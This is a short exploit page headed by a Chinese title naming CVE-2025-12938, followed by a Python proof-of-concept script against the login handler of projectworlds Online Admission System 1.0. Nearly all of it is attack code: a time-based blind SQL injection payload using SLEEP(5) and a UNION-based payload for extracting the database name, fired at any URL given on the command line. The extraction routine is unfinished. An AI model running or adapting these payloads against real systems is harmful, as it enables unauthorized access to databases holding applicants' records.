CVE-2025-12938: projectworlds在线招生系统process_login.php SQL注入漏洞

import requests import sys # CVE-2025-12938 PoC - SQL Injection in projectworlds Online Admission System 1.0 # Target: /process_login.php keywords parameter def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-12938 This PoC demonstrates a time-based blind SQL injection vulnerability """ # Target endpoint endpoint = f"{target_url}/process_login.php" # Payload for time-based blind SQL injection # This payload causes a 5-second delay if vulnerable payload = { 'keywords': "' OR SLEEP(5)-- -", 'submit': 'Search' } print(f"[*] Testing target: {endpoint}") print(f"[*] Payload: {payload['keywords']}") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages in response if 'mysql' in response.text.lower() or 'sql' in response.text.lower(): print("[!] Potential SQL error detected in response") except requests.exceptions.Timeout: print("[+] Time-based blind SQL injection confirmed!") print("[+] Server responded after 5 seconds delay") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # UNION-based SQL injection payload to extract database name payload = { 'keywords': "' UNION SELECT 1,database(),3,4,5-- -", 'submit': 'Search' } endpoint = f"{target_url}/process_login.php" try: response = requests.post(endpoint, data=payload, timeout=10) # Parse response to extract database name print("[*] Extracting database information...") # Additional parsing logic would be needed here except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)